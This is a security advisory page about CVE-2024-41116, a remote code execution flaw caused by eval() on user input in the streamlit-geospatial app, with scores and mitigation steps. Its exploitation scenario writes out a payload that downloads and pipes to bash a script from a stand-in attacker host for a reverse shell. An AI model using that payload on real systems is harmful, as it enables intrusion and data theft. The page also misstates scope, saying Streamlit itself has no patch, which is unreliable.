CVE-2024-41116: Streamlit RCE — CRITICAL

CISO Take

Critical unauthenticated RCE in streamlit-geospatial — any internet-exposed instance is fully owned with a single crafted HTTP request, no credentials needed. Patch immediately to commit c4f81d9616d40c60584e36abb15300853a66e489 or take the app offline until patched. Audit all internal Streamlit ML dashboards for similar eval()/exec() patterns on user-controlled inputs.

What is the risk?

Maximum practical risk (CVSS 9.8). The attack requires zero authentication, zero user interaction, and zero specialized skill — any attacker who can reach the app over the network can execute arbitrary Python code on the host. Streamlit apps are frequently deployed on internal data science infrastructure with broad network access, privileged cloud credentials, and direct connectivity to ML pipelines and data stores, dramatically amplifying blast radius beyond the app itself.

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
Streamlit	pip	—	No patch
45.0K OpenSSF 7.2 2.9K dependents Pushed 3d ago 7% patched ~0d to patch Full package profile →

Do you use Streamlit? You're affected.

How severe is it?

CVSS 3.1

9.8 / 10

EPSS

1.3%

chance of exploitation in 30 days

Higher than 67% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

Exploit Available

Exploitation: MEDIUM

Sophistication

Trivial

Exploitation Confidence

medium

○ CISA SSVC: Public PoC

○ Public PoC indexed (trickest/cve)

Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AV Network

AC Low

PR None

UI None

S Unchanged

C High

I High

A High

What should I do?

5 steps

PATCH

Apply commit c4f81d9616d40c60584e36abb15300853a66e489 immediately — it removes the unsafe eval() call.
ISOLATE

If patching is not immediate, restrict network access to the Streamlit app to trusted IPs only; do not expose on 0.0.0.0 without authentication.
AUDIT

Search all Streamlit apps in your environment for eval()/exec() calls that process user-supplied input (grep -r 'eval(' --include='*.py').
DETECT

Review web server and application logs for anomalous vis_params values containing Python syntax, import statements, or shell invocations.
HARDEN

Enforce network segmentation so ML UI dashboards cannot directly reach production data stores or cloud credential stores.

What does CISA's SSVC say?

Decision Attend

Exploitation poc

Automatable Yes

Technical Impact total

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Code Execution Framework AML.T0025 - Exfiltration via Cyber Means AML.T0049 - Exploit Public-Facing Application AML.T0050 - Command and Scripting Interpreter AML.T0072 - Reverse Shell

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act

Art.15 - Accuracy, robustness and cybersecurity

ISO 42001

A.6.2.5 - AI system security and resilience

NIST AI RMF

MANAGE-2.4 - Residual risks are managed

OWASP LLM Top 10

LLM05:2025 - Improper Output Handling

Frequently Asked Questions

What is CVE-2024-41116?

Critical unauthenticated RCE in streamlit-geospatial — any internet-exposed instance is fully owned with a single crafted HTTP request, no credentials needed. Patch immediately to commit c4f81d9616d40c60584e36abb15300853a66e489 or take the app offline until patched. Audit all internal Streamlit ML dashboards for similar eval()/exec() patterns on user-controlled inputs.

Is CVE-2024-41116 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2024-41116, increasing the risk of exploitation.

How to fix CVE-2024-41116?

1. PATCH: Apply commit c4f81d9616d40c60584e36abb15300853a66e489 immediately — it removes the unsafe eval() call. 2. ISOLATE: If patching is not immediate, restrict network access to the Streamlit app to trusted IPs only; do not expose on 0.0.0.0 without authentication. 3. AUDIT: Search all Streamlit apps in your environment for eval()/exec() calls that process user-supplied input (grep -r 'eval(' --include='*.py'). 4. DETECT: Review web server and application logs for anomalous vis_params values containing Python syntax, import statements, or shell invocations. 5. HARDEN: Enforce network segmentation so ML UI dashboards cannot directly reach production data stores or cloud credential stores.

What systems are affected by CVE-2024-41116?

This vulnerability affects the following AI/ML architecture patterns: ML UI dashboards, geospatial AI/ML applications, data science web applications, model experimentation platforms.

What is the CVSS score for CVE-2024-41116?

CVE-2024-41116 has a CVSS v3.1 base score of 9.8 (CRITICAL). The EPSS exploitation probability is 1.32%.

What is the AI security impact?

Affected AI Architectures

ML UI dashboardsgeospatial AI/ML applicationsdata science web applicationsmodel experimentation platforms

MITRE ATLAS Techniques

AML.T0025 Exfiltration via Cyber Means

AML.T0049 Exploit Public-Facing Application

AML.T0050 Command and Scripting Interpreter

AML.T0072 Reverse Shell

Compliance Controls Affected

EU AI Act: Art.15

ISO 42001: A.6.2.5

NIST AI RMF: MANAGE-2.4

OWASP LLM Top 10: LLM05:2025

What are the technical details?

Original Advisory

streamlit-geospatial is a streamlit multipage app for geospatial applications. Prior to commit c4f81d9616d40c60584e36abb15300853a66e489, the `vis_params` variable on line 1254 in `pages/1_📷_Timelapse.py` takes user input, which is later used in the `eval()` function on line 1345, leading to remote code execution. Commit c4f81d9616d40c60584e36abb15300853a66e489 fixes this issue.

Exploitation Scenario

An adversary scans for publicly accessible Streamlit instances or identifies a target organization's internal geospatial ML dashboard via LinkedIn/GitHub recon. They navigate to the Timelapse page and submit a crafted vis_params payload such as __import__('os').system('curl attacker.com/shell.sh | bash') — the eval() on line 1345 executes this directly as Python. The attacker receives a reverse shell running as the data science service account, which typically has read access to cloud storage buckets containing training data, model artifacts, and embedded API keys in environment variables. From there they pivot to exfiltrate proprietary models, poison training datasets, or move laterally to the broader cloud environment.

Weaknesses (CWE)

CWE-20 Improper Input Validation

CWE-20 — Improper Input Validation: The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

[Architecture and Design] Consider using language-theoretic security (LangSec) techniques that characterize inputs using a formal language and build "recognizers" for that language. This effectively requires parsing to be a distinct layer that effectively enforces a boundary between raw input and internal data representations, instead of allowing parser code to be scattered throughout the program, where it could be subject to errors or inconsistencies that create weaknesses. [REF-1109] [REF-1110] [REF-1111]
[Architecture and Design] Use an input validation framework such as Struts or the OWASP ESAPI Validation API. Note that using a framework does not automatically address all input validation problems; be mindful of weaknesses that could arise from misusing the framework itself (CWE-1173).

Source: MITRE CWE corpus.